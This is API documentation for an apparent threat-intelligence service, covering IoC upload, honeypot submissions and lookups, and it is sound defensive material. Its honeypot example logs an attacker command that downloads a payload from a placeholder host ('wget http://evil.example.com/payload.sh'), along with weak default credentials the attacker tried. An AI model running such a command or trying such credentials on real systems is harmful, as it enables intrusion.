---
title: 'IoC Endpoints'
description: 'Upload threat intelligence and query Indicators of Compromise (IoCs) from the Threat Cloud.'
icon: 'crosshairs'
---

The IoC (Indicators of Compromise) endpoints allow you to upload threat data from agents and query the collective intelligence database.

## POST /api/threats

Uploads threat data from an agent or external source. Supports both single and batch submissions.

<ParamField body="threats" type="object[]" required>
  Array of threat objects (maximum 100 per request).
</ParamField>

<ParamField body="threats[].type" type="string" required>
  IoC type: `ip`, `domain`, `hash`, `url`, `email`, `cve`.
</ParamField>

<ParamField body="threats[].value" type="string" required>
  The indicator value (e.g., IP address, domain name, file hash).
</ParamField>

<ParamField body="threats[].source" type="string" required>
  Source identifier (e.g., `guard-agent`, `honeypot`, `manual`).
</ParamField>

<ParamField body="threats[].category" type="string">
  Threat category: `malware`, `botnet`, `phishing`, `bruteforce`, `scanner`, `exploit`, `c2`.
</ParamField>

<ParamField body="threats[].severity" type="string">
  Severity: `low`, `medium`, `high`, `critical`.
</ParamField>

<ParamField body="threats[].confidence" type="number">
  Confidence score (0.0--1.0).
</ParamField>

<ParamField body="threats[].metadata" type="object">
  Additional metadata (ports, protocols, MITRE ATT&CK IDs, etc.).
</ParamField>

<Tabs>
  <Tab title="Single Threat">
    ```bash
    curl -X POST https://tc.panguard.ai/api/threats \
      -H "Authorization: Bearer YOUR_API_KEY" \
      -H "Content-Type: application/json" \
      -d '{
        "threats": [
          {
            "type": "ip",
            "value": "198.51.100.42",
            "source": "guard-agent",
            "category": "bruteforce",
            "severity": "high",
            "confidence": 0.95,
            "metadata": {
              "port": 22,
              "protocol": "ssh",
              "attempts": 500,
              "mitreId": "T1110"
            }
          }
        ]
      }'
    ```
  </Tab>
  <Tab title="Batch Upload">
    ```bash
    curl -X POST https://tc.panguard.ai/api/threats \
      -H "Authorization: Bearer YOUR_API_KEY" \
      -H "Content-Type: application/json" \
      -d '{
        "threats": [
          {
            "type": "ip",
            "value": "198.51.100.42",
            "source": "guard-agent",
            "category": "bruteforce",
            "severity": "high"
          },
          {
            "type": "domain",
            "value": "malware-c2.example.net",
            "source": "honeypot",
            "category": "c2",
            "severity": "critical"
          },
          {
            "type": "hash",
            "value": "e3b0c44298fc1c149afbf4c8996fb924",
            "source": "guard-agent",
            "category": "malware",
            "severity": "critical"
          }
        ]
      }'
    ```
  </Tab>
</Tabs>

<ResponseExample>
```json 201
{
  "ok": true,
  "data": {
    "received": 3,
    "new": 2,
    "updated": 1,
    "iocIds": ["ioc_a1b2", "ioc_c3d4", "ioc_e5f6"]
  }
}
```
</ResponseExample>

<Info>
  Batch uploads accept up to **100 threats per request**. For larger volumes, split into multiple
  requests. Duplicate IoCs are automatically merged -- their reputation score, sighting count, and
  metadata are updated rather than creating duplicates.
</Info>

---

## POST /api/trap-intel

Submits intelligence gathered from Panguard Trap (honeypot) deployments. This data receives a higher confidence boost due to the nature of honeypot interactions.

<ParamField body="trapId" type="string" required>
  The honeypot instance identifier.
</ParamField>

<ParamField body="attackerIp" type="string" required>
  IP address of the attacker.
</ParamField>

<ParamField body="honeypotType" type="string" required>
  Type of honeypot: `ssh`, `http`, `ftp`, `smtp`, `custom`.
</ParamField>

<ParamField body="interactions" type="object[]" required>
  Array of attacker interaction records.
</ParamField>

<ParamField body="credentials" type="object[]">
  Credentials attempted by the attacker.
</ParamField>

<ParamField body="payloads" type="string[]">
  SHA-256 hashes of any payloads dropped.
</ParamField>

<CodeGroup>
```bash cURL
curl -X POST https://tc.panguard.ai/api/trap-intel \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "trapId": "trap-ssh-01",
    "attackerIp": "198.51.100.42",
    "honeypotType": "ssh",
    "interactions": [
      {
        "timestamp": "2026-03-07T08:00:00Z",
        "action": "login_attempt",
        "data": { "username": "root", "password": "admin123" }
      },
      {
        "timestamp": "2026-03-07T08:00:05Z",
        "action": "command_executed",
        "data": { "command": "wget http://evil.example.com/payload.sh" }
      }
    ],
    "credentials": [
      { "username": "root", "password": "admin123" },
      { "username": "admin", "password": "password" }
    ],
    "payloads": ["a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a"]
  }'
```
</CodeGroup>

<ResponseExample>
```json 201
{
  "ok": true,
  "data": {
    "iocId": "ioc_trap_x1y2",
    "reputationDelta": -15,
    "campaignMatch": "campaign_botnet_xyz"
  }
}
```
</ResponseExample>

---

## GET /api/iocs

Searches the IoC database with filters.

<ParamField query="type" type="string">
  Filter by IoC type: `ip`, `domain`, `hash`, `url`, `email`, `cve`.
</ParamField>

<ParamField query="source" type="string">
  Filter by source (e.g., `guard-agent`, `honeypot`, `community`).
</ParamField>

<ParamField query="minReputation" type="number">
  Minimum reputation score (0--100, where 0 is most malicious).
</ParamField>

<ParamField query="maxReputation" type="number">
  Maximum reputation score.
</ParamField>

<ParamField query="status" type="string">
  Filter by status: `active`, `expired`, `whitelisted`.
</ParamField>

<ParamField query="category" type="string">
  Filter by threat category.
</ParamField>

<ParamField query="since" type="string">
  Return IoCs updated after this ISO 8601 timestamp.
</ParamField>

<ParamField query="page" type="number" default="1">
  Page number.
</ParamField>

<ParamField query="limit" type="number" default="50">
  Results per page (max 200).
</ParamField>

<CodeGroup>
  ```bash cURL curl -X GET
  "https://tc.panguard.ai/api/iocs?type=ip&minReputation=0&maxReputation=30&status=active&limit=10"
  \ -H "Authorization: Bearer YOUR_API_KEY" ```
</CodeGroup>

<ResponseExample>
```json 200
{
  "ok": true,
  "data": [
    {
      "value": "198.51.100.42",
      "type": "ip",
      "reputation": 12,
      "category": "bruteforce",
      "source": "guard-agent",
      "sightings": 47,
      "firstSeen": "2026-02-15T10:00:00.000Z",
      "lastSeen": "2026-03-07T08:15:00.000Z",
      "status": "active",
      "metadata": {
        "ports": [22, 3389],
        "protocols": ["ssh", "rdp"],
        "mitreIds": ["T1110"]
      }
    }
  ],
  "pagination": {
    "total": 1423,
    "page": 1,
    "limit": 10,
    "pages": 143
  }
}
```
</ResponseExample>

---

## GET /api/iocs/:value

Looks up a single IoC by its value. Supports IP addresses, domains, hashes, URLs, emails, and CVE IDs.

<ParamField path="value" type="string" required>
  The IoC value to look up. URL-encode if necessary.
</ParamField>

<CodeGroup>
  ```bash cURL curl -X GET "https://tc.panguard.ai/api/iocs/198.51.100.42" \ -H "Authorization:
  Bearer YOUR_API_KEY" ```
</CodeGroup>

<Tabs>
  <Tab title="200 Found">
    ```json
    {
      "ok": true,
      "data": {
        "value": "198.51.100.42",
        "type": "ip",
        "reputation": 12,
        "category": "bruteforce",
        "sightings": 47,
        "firstSeen": "2026-02-15T10:00:00.000Z",
        "lastSeen": "2026-03-07T08:15:00.000Z",
        "status": "active",
        "sources": ["guard-agent", "honeypot", "community"],
        "campaigns": ["campaign_botnet_xyz"],
        "relatedIocs": [
          { "value": "malware-c2.example.net", "type": "domain", "relation": "contacted" }
        ],
        "metadata": {
          "asn": "AS64496",
          "country": "CN",
          "ports": [22, 3389],
          "mitreIds": ["T1110", "T1078"]
        }
      }
    }
    ```
  </Tab>
  <Tab title="404 Not Found">
    ```json
    {
      "ok": true,
      "data": {
        "value": "192.0.2.1",
        "type": "ip",
        "reputation": 80,
        "status": "unknown",
        "sightings": 0,
        "message": "No threat data found for this indicator"
      }
    }
    ```
  </Tab>
</Tabs>

<Tip>
  The single lookup endpoint returns enriched data including related IoCs, campaign associations,
  and geographic metadata. Use this for detailed investigation of specific indicators.
</Tip>
